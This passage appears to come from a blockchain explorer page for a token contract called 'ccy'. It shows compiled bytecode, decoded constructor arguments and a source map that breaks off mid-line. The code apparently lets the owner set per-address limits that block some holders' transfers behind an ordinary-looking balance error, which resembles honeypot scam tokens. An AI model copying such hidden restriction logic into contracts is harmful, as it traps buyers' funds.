1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f691906121ff565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611272576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126990612546565b60405180910390fd5b61127d8383836114e2565b505050565b61128c8282610b7d565b61131b576112b18173ffffffffffffffffffffffffffffffffffffffff166014611561565b6112bf8360001c6020611561565b6040516020016112d0929190612bc9565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131291906120fa565b60405180910390fd5b5050565b6113298282610b7d565b6113fc5760016005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506113a1611032565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b61140a8282610b7d565b156114de5760006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611483611032565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611551576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154890612c75565b60405180910390fd5b61155c83838361179d565b505050565b6060600060028360026115749190612713565b61157e9190612879565b67ffffffffffffffff81111561159757611596612c95565b5b6040519080825280601f01601f1916602001820160405280156115c95781602001600182028036833780820191505090505b5090507f30000000000000000000000000000000000000000000000000000000000000008160008151811061160157611600612cc4565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061166557611664612cc4565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600060018460026116a59190612713565b6116af9190612879565b90505b600181111561174f577f3031323334353637383961626364656600000000000000000000000000000000600f8616601081106116f1576116f0612cc4565b5b1a60f81b82828151811061170857611707612cc4565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c94508061174890612cf3565b90506116b2565b5060008414611793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178a90612d68565b60405180910390fd5b8091505092915050565b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561181e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181590612dfa565b60405180910390fd5b61182983838361182e565b505050565b611838838261191d565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461190d576118e183600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166118dc60016118ce6103e88761192b90919063ffffffff16565b61194190919063ffffffff16565b611957565b61190a6103e76118fc6103e88461192b90919063ffffffff16565b61194190919063ffffffff16565b90505b611918838383611957565b505050565b6119278282611bd6565b5050565b600081836119399190612e49565b905092915050565b6000818361194f9190612713565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bd90612546565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2c90612c75565b60405180910390fd5b611a40838383611d18565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abd90612dfa565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b599190612879565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bbd91906121ff565b60405180910390a3611bd0848484611d1d565b50505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d0a576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115611cc2576001600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d08565b6000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505b611d148282611d22565b5050565b505050565b505050565b611d2c8282611d30565b5050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611d8e5750600081115b15611f90576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403611f05576000611e2e82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9490919063ffffffff16565b905080600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008111611eff576001600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403611efe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef590612dfa565b60405180910390fd5b5b50611f8f565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b5b5050565b60008183611fa29190612e7a565b905092915050565b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b611fe481611faf565b8114611fef57600080fd5b50565b60008135905061200181611fdb565b92915050565b60006020828403121561201d5761201c611faa565b5b600061202b84828501611ff2565b91505092915050565b60008115159050919050565b61204981612034565b82525050565b60006020820190506120646000830184612040565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156120a4578082015181840152602081019050612089565b60008484015250505050565b6000601f19601f8301169050919050565b60006120cc8261206a565b6120d68185612075565b93506120e6818560208601612086565b6120ef816120b0565b840191505092915050565b6000602082019050818103600083015261211481846120c1565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121478261211c565b9050919050565b6121578161213c565b811461216257600080fd5b50565b6000813590506121748161214e565b92915050565b6000819050919050565b61218d8161217a565b811461219857600080fd5b50565b6000813590506121aa81612184565b92915050565b600080604083850312156121c7576121c6611faa565b5b60006121d585828601612165565b92505060206121e68582860161219b565b9150509250929050565b6121f98161217a565b82525050565b600060208201905061221460008301846121f0565b92915050565b60008060006060848603121561223357612232611faa565b5b600061224186828701612165565b935050602061225286828701612165565b92505060406122638682870161219b565b9150509250925092565b6000819050919050565b6122808161226d565b811461228b57600080fd5b50565b60008135905061229d81612277565b92915050565b6000602082840312156122b9576122b8611faa565b5b60006122c78482850161228e565b91505092915050565b6122d98161226d565b82525050565b60006020820190506122f460008301846122d0565b92915050565b6000806040838503121561231157612310611faa565b5b600061231f8582860161228e565b925050602061233085828601612165565b9150509250929050565b600060ff82169050919050565b6123508161233a565b82525050565b600060208201905061236b6000830184612347565b92915050565b60006020828403121561238757612386611faa565b5b600061239584828501612165565b91505092915050565b6123a78161213c565b82525050565b60006020820190506123c2600083018461239e565b92915050565b600080604083850312156123df576123de611faa565b5b60006123ed85828601612165565b92505060206123fe85828601612165565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061244f57607f821691505b60208210810361246257612461612408565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061249e602083612075565b91506124a982612468565b602082019050919050565b600060208201905081810360008301526124cd81612491565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612530602583612075565b915061253b826124d4565b604082019050919050565b6000602082019050818103600083015261255f81612523565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156125ec578086048111156125c8576125c7612566565b5b60018516156125d75780820291505b80810290506125e585612595565b94506125ac565b94509492505050565b60008261260557600190506126c1565b8161261357600090506126c1565b8160018114612629576002811461263357612662565b60019150506126c1565b60ff84111561264557612644612566565b5b8360020a91508482111561265c5761265b612566565b5b506126c1565b5060208310610133831016604e8410600b84101617156126975782820a90508381111561269257612691612566565b5b6126c1565b6126a484848460016125a2565b925090508184048111156126bb576126ba612566565b5b81810290505b9392505050565b60006126d38261217a565b91506126de8361233a565b925061270b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846125f5565b905092915050565b600061271e8261217a565b91506127298361217a565b92508282026127378161217a565b9150828204841483151761274e5761274d612566565b5b5092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006127b1602883612075565b91506127bc82612755565b604082019050919050565b600060208201905081810360008301526127e0816127a4565b9050919050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b6000612843602f83612075565b915061284e826127e7565b604082019050919050565b6000602082019050818103600083015261287281612836565b9050919050565b60006128848261217a565b915061288f8361217a565b92508282019050808211156128a7576128a6612566565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612909602583612075565b9150612914826128ad565b604082019050919050565b60006020820190508181036000830152612938816128fc565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061299b602683612075565b91506129a68261293f565b604082019050919050565b600060208201905081810360008301526129ca8161298e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612a2d602483612075565b9150612a38826129d1565b604082019050919050565b60006020820190508181036000830152612a5c81612a20565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612abf602283612075565b9150612aca82612a63565b604082019050919050565b60006020820190508181036000830152612aee81612ab2565b9050919050565b600081905092915050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b6000612b36601783612af5565b9150612b4182612b00565b601782019050919050565b6000612b578261206a565b612b618185612af5565b9350612b71818560208601612086565b80840191505092915050565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b6000612bb3601183612af5565b9150612bbe82612b7d565b601182019050919050565b6000612bd482612b29565b9150612be08285612b4c565b9150612beb82612ba6565b9150612bf78284612b4c565b91508190509392505050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c5f602383612075565b9150612c6a82612c03565b604082019050919050565b60006020820190508181036000830152612c8e81612c52565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612cfe8261217a565b915060008203612d1157612d10612566565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b6000612d52602083612075565b9150612d5d82612d1c565b602082019050919050565b60006020820190508181036000830152612d8181612d45565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612de4602683612075565b9150612def82612d88565b604082019050919050565b60006020820190508181036000830152612e1381612dd7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e548261217a565b9150612e5f8361217a565b925082612e6f57612e6e612e1a565b5b828204905092915050565b6000612e858261217a565b9150612e908361217a565b9250828203905081811115612ea857612ea7612566565b5b9291505056fea26469706673582212201833264ea53a44c09f7375365b988baf49110c865f7de811e084f94bc68797ca64736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000003636379000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000036363790000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): ccy
Arg [1] : _symbol (string): ccy
Arg [2] : _totalSupply (uint256): 100000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [4] : 6363790000000000000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 6363790000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

22532:3421:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6299:202;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10174:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11089:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24110:432;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10496:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11267:492;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7161:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7292:147;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10394:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7604:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11767:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10612:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4017:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6509:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10282:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6136:49;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11991:413;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10747:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7447:149;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10930:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24552:124;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4235:227;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6299:202;6384:4;6423:30;6408:45;;;:11;:45;;;;:85;;;;6457:36;6481:11;6457:23;:36::i;:::-;6408:85;6401:92;;6299:202;;;:::o;10174:100::-;10228:13;10261:5;10254:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10174:100;:::o;11089:169::-;11172:4;11189:39;11198:12;:10;:12::i;:::-;11212:7;11221:6;11189:8;:39::i;:::-;11246:4;11239:11;;11089:169;;;;:::o;24110:432::-;4156:12;:10;:12::i;:::-;4146:22;;:6;;;;;;;;;;;:22;;;4138:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;24211:1:::1;24197:16;;:2;:16;;::::0;24189:66:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;24294:10;:8;:10::i;:::-;24290:2;:14;;;;:::i;:::-;24287:2;:17;;;;:::i;:::-;24268:12;:16;24281:2;24268:16;;;;;;;;;;;;;;;:36;;;;24315:11;24329:12;:16;24342:2;24329:16;;;;;;;;;;;;;;;;24315:30;;24378:1;24359:12;:16;24372:2;24359:16;;;;;;;;;;;;;;;;:20;24356:169;;;24414:3;24395:12;:16;24408:2;24395:16;;;;;;;;;;;;;;;:22;;;;24356:169;;;24448:10;24461:12;:16;24474:2;24461:16;;;;;;;;;;;;;;;;24448:29;;24511:2;24492:12;:16;24505:2;24492:16;;;;;;;;;;;;;;;:21;;;;24433:92;24356:169;24176:366;24110:432:::0;;:::o;10496:108::-;10557:7;10584:12;;10577:19;;10496:108;:::o;11267:492::-;11407:4;11424:36;11434:6;11442:9;11453:6;11424:9;:36::i;:::-;11473:24;11500:11;:19;11512:6;11500:19;;;;;;;;;;;;;;;:33;11520:12;:10;:12::i;:::-;11500:33;;;;;;;;;;;;;;;;11473:60;;11572:6;11552:16;:26;;11544:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;11659:57;11668:6;11676:12;:10;:12::i;:::-;11709:6;11690:16;:25;11659:8;:57::i;:::-;11747:4;11740:11;;;11267:492;;;;;:::o;7161:123::-;7227:7;7254:6;:12;7261:4;7254:12;;;;;;;;;;;:22;;;7247:29;;7161:123;;;:::o;7292:147::-;6181:4;7375:18;;6241:30;6252:4;6258:12;:10;:12::i;:::-;6241:10;:30::i;:::-;7406:25:::1;7417:4;7423:7;7406:10;:25::i;:::-;7292:147:::0;;;:::o;10394:93::-;10452:5;10477:2;10470:9;;10394:93;:::o;7604:218::-;7711:12;:10;:12::i;:::-;7700:23;;:7;:23;;;7692:83;;;;;;;;;;;;:::i;:::-;;;;;;;;;7788:26;7800:4;7806:7;7788:11;:26::i;:::-;7604:218;;:::o;11767:215::-;11855:4;11872:80;11881:12;:10;:12::i;:::-;11895:7;11941:10;11904:11;:25;11916:12;:10;:12::i;:::-;11904:25;;;;;;;;;;;;;;;:34;11930:7;11904:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;11872:8;:80::i;:::-;11970:4;11963:11;;11767:215;;;;:::o;10612:127::-;10686:7;10713:9;:18;10723:7;10713:18;;;;;;;;;;;;;;;;10706:25;;10612:127;;;:::o;4017:79::-;4055:7;4082:6;;;;;;;;;;;4075:13;;4017:79;:::o;6509:139::-;6587:4;6611:6;:12;6618:4;6611:12;;;;;;;;;;;:20;;:29;6632:7;6611:29;;;;;;;;;;;;;;;;;;;;;;;;;6604:36;;6509:139;;;;:::o;10282:104::-;10338:13;10371:7;10364:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10282:104;:::o;6136:49::-;6181:4;6136:49;;;:::o;11991:413::-;12084:4;12101:24;12128:11;:25;12140:12;:10;:12::i;:::-;12128:25;;;;;;;;;;;;;;;:34;12154:7;12128:34;;;;;;;;;;;;;;;;12101:61;;12201:15;12181:16;:35;;12173:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;12294:67;12303:12;:10;:12::i;:::-;12317:7;12345:15;12326:16;:34;12294:8;:67::i;:::-;12392:4;12385:11;;;11991:413;;;;:::o;10747:175::-;10833:4;10850:42;10860:12;:10;:12::i;:::-;10874:9;10885:6;10850:9;:42::i;:::-;10910:4;10903:11;;10747:175;;;;:::o;7447:149::-;6181:4;7531:18;;6241:30;6252:4;6258:12;:10;:12::i;:::-;6241:10;:30::i;:::-;7562:26:::1;7574:4;7580:7;7562:11;:26::i;:::-;7447:149:::0;;;:::o;10930:151::-;11019:7;11046:11;:18;11058:5;11046:18;;;;;;;;;;;;;;;:27;11065:7;11046:27;;;;;;;;;;;;;;;;11039:34;;10930:151;;;;:::o;24552:124::-;24613:7;24650:12;:18;24663:4;24650:18;;;;;;;;;;;;;;;;24643:25;;24552:124;;;:::o;4235:227::-;4156:12;:10;:12::i;:::-;4146:22;;:6;;;;;;;;;;;:22;;;4138:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4358:1:::1;4338:22;;:8;:22;;::::0;4316:110:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;4446:8;4437:6;;:17;;;;;;;;;;;;;;;;;;4235:227:::0;:::o;299:157::-;384:4;423:25;408:40;;;:11;:40;;;;401:47;;299:157;;;:::o;3639:98::-;3692:7;3719:10;3712:17;;3639:98;:::o;14144:380::-;14297:1;14280:19;;:5;:19;;;14272:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14378:1;14359:21;;:7;:21;;;14351:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14462:6;14432:11;:18;14444:5;14432:18;;;;;;;;;;;;;;;:27;14451:7;14432:27;;;;;;;;;;;;;;;:36;;;;14500:7;14484:32;;14493:5;14484:32;;;14509:6;14484:32;;;;;;:::i;:::-;;;;;;;;14144:380;;;:::o;23031:239::-;23160:1;23144:18;;:4;:18;;;23136:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;23227:33;23243:4;23249:2;23253:6;23227:15;:33::i;:::-;23031:239;;;:::o;6656:497::-;6737:22;6745:4;6751:7;6737;:22::i;:::-;6732:414;;6925:41;6953:7;6925:41;;6963:2;6925:19;:41::i;:::-;7039:38;7067:4;7059:13;;7074:2;7039:19;:38::i;:::-;6830:270;;;;;;;;;:::i;:::-;;;;;;;;;;;;;6776:358;;;;;;;;;;;:::i;:::-;;;;;;;;6732:414;6656:497;;:::o;8209:238::-;8293:22;8301:4;8307:7;8293;:22::i;:::-;8288:152;;8364:4;8332:6;:12;8339:4;8332:12;;;;;;;;;;;:20;;:29;8353:7;8332:29;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;8415:12;:10;:12::i;:::-;8388:40;;8406:7;8388:40;;8400:4;8388:40;;;;;;;;;;8288:152;8209:238;;:::o;8455:239::-;8539:22;8547:4;8553:7;8539;:22::i;:::-;8535:152;;;8610:5;8578:6;:12;8585:4;8578:12;;;;;;;;;;;:20;;:29;8599:7;8578:29;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;8662:12;:10;:12::i;:::-;8635:40;;8653:7;8635:40;;8647:4;8635:40;;;;;;;;;;8535:152;8455:239;;:::o;23280:227::-;23399:1;23385:16;;:2;:16;;;23377:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;23467:32;23482:4;23488:2;23492:6;23467:14;:32::i;:::-;23280:227;;;:::o;5450:451::-;5525:13;5551:19;5596:1;5587:6;5583:1;:10;;;;:::i;:::-;:14;;;;:::i;:::-;5573:25;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5551:47;;5609:15;:6;5616:1;5609:9;;;;;;;;:::i;:::-;;;;;:15;;;;;;;;;;;5635;:6;5642:1;5635:9;;;;;;;;:::i;:::-;;;;;:15;;;;;;;;;;;5666:9;5691:1;5682:6;5678:1;:10;;;;:::i;:::-;:14;;;;:::i;:::-;5666:26;;5661:135;5698:1;5694;:5;5661:135;;;5733:12;5754:3;5746:5;:11;5733:25;;;;;;;:::i;:::-;;;;;5721:6;5728:1;5721:9;;;;;;;;:::i;:::-;;;;;:37;;;;;;;;;;;5783:1;5773:11;;;;;5701:3;;;;:::i;:::-;;;5661:135;;;;5823:1;5814:5;:10;5806:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;5886:6;5872:21;;;5450:451;;;;:::o;23515:226::-;23629:6;23610:9;:15;23620:4;23610:15;;;;;;;;;;;;;;;;:25;;23602:76;;;;;;;;;;;;:::i;:::-;;;;;;;;;23701:32;23716:4;23722:2;23726:6;23701:14;:32::i;:::-;23515:226;;;:::o;23749:349::-;23836:31;23854:4;23860:6;23836:17;:31::i;:::-;23892:12;;;;;;;;;;;23886:18;;:2;:18;;;23882:161;;23922:60;23938:4;23944:12;;;;;;;;;;;23958:23;23979:1;23958:16;23969:4;23958:6;:10;;:16;;;;:::i;:::-;:20;;:23;;;;:::i;:::-;23922:15;:60::i;:::-;24006:25;24027:3;24006:16;24017:4;24006:6;:10;;:16;;;;:::i;:::-;:20;;:25;;;;:::i;:::-;23997:34;;23882:161;24057:33;24073:4;24079:2;24083:6;24057:15;:33::i;:::-;23749:349;;;:::o;24686:122::-;24767:33;24784:7;24793:6;24767:16;:33::i;:::-;24686:122;;:::o;1927:98::-;1985:7;2016:1;2012;:5;;;;:::i;:::-;2005:12;;1927:98;;;;:::o;1821:::-;1879:7;1910:1;1906;:5;;;;:::i;:::-;1899:12;;1821:98;;;;:::o;12413:729::-;12571:1;12553:20;;:6;:20;;;12545:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;12655:1;12634:23;;:9;:23;;;12626:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;12709:47;12730:6;12738:9;12749:6;12709:20;:47::i;:::-;12768:21;12792:9;:17;12802:6;12792:17;;;;;;;;;;;;;;;;12768:41;;12845:6;12828:13;:23;;12820:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;12966:6;12950:13;:22;12930:9;:17;12940:6;12930:17;;;;;;;;;;;;;;;:42;;;;13018:6;12994:9;:20;13004:9;12994:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;13058:9;13041:35;;13050:6;13041:35;;;13069:6;13041:35;;;;;;:::i;:::-;;;;;;;;13088:46;13108:6;13116:9;13127:6;13088:19;:46::i;:::-;12534:608;12413:729;;;:::o;24818:369::-;24913:12;;;;;;;;;;;24902:23;;:7;:23;;;24898:238;;24942:10;24955:12;:21;24968:7;24955:21;;;;;;;;;;;;;;;;24942:34;;24999:1;24994:2;:6;24991:132;;;25043:1;25020:11;:20;25032:7;25020:20;;;;;;;;;;;;;;;:24;;;;24991:132;;;25106:1;25083:11;:20;25095:7;25083:20;;;;;;;;;;;;;;;:24;;;;24991:132;24927:209;24898:238;25146:33;25163:7;25172:6;25146:16;:33::i;:::-;24818:369;;:::o;14533:125::-;;;;:::o;14666:124::-;;;;:::o;25197:120::-;25277:32;25293:7;25302:6;25277:15;:32::i;:::-;25197:120;;:::o;25325:623::-;25419:12;;;;;;;;;;;25408:23;;:7;:23;;;;:37;;;;;25444:1;25435:6;:10;25408:37;25404:537;;;25503:1;25479:11;:20;25491:7;25479:20;;;;;;;;;;;;;;;;:25;25476:440;;25524:10;25537:33;25563:6;25537:12;:21;25550:7;25537:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;25524:46;;25613:2;25589:12;:21;25602:7;25589:21;;;;;;;;;;;;;;;:26;;;;25643:1;25637:2;:7;25634:130;;25700:1;25676:11;:20;25688:7;25676:20;;;;;;;;;;;;;;;;:25;25668:76;;;;;;;;;;;;:::i;:::-;;;;;;;;;25634:130;25505:293;25476:440;;;25821:10;25834:12;:21;25847:7;25834:21;;;;;;;;;;;;;;;;25821:34;;25898:2;25874:12;:21;25887:7;25874:21;;;;;;;;;;;;;;;:26;;;;25802:114;25476:440;25404:537;25325:623;;:::o;1715:98::-;1773:7;1804:1;1800;:5;;;;:::i;:::-;1793:12;;1715:98;;;;:::o;88:117:1:-;197:1;194;187:12;334:149;370:7;410:66;403:5;399:78;388:89;;334:149;;;:::o;489:120::-;561:23;578:5;561:23;:::i;:::-;554:5;551:34;541:62;;599:1;596;589:12;541:62;489:120;:::o;615:137::-;660:5;698:6;685:20;676:29;;714:32;740:5;714:32;:::i;:::-;615:137;;;;:::o;758:327::-;816:6;865:2;853:9;844:7;840:23;836:32;833:119;;;871:79;;:::i;:::-;833:119;991:1;1016:52;1060:7;1051:6;1040:9;1036:22;1016:52;:::i;:::-;1006:62;;962:116;758:327;;;;:::o;1091:90::-;1125:7;1168:5;1161:13;1154:21;1143:32;;1091:90;;;:::o;1187:109::-;1268:21;1283:5;1268:21;:::i;:::-;1263:3;1256:34;1187:109;;:::o;1302:210::-;1389:4;1427:2;1416:9;1412:18;1404:26;;1440:65;1502:1;1491:9;1487:17;1478:6;1440:65;:::i;:::-;1302:210;;;;:::o;1518:99::-;1570:6;1604:5;1598:12;1588:22;;1518:99;;;:::o;1623:169::-;1707:11;1741:6;1736:3;1729:19;1781:4;1776:3;1772:14;1757:29;;1623:169;;;;:::o;1798:246::-;1879:1;1889:113;1903:6;1900:1;1897:13;1889:113;;;1988:1;1983:3;1979:11;1973:18;1969:1;1964:3;1960:11;1953:39;1925:2;1922:1;1918:10;1913:15;;1889:113;;;2036:1;2027:6;2022:3;2018:16;20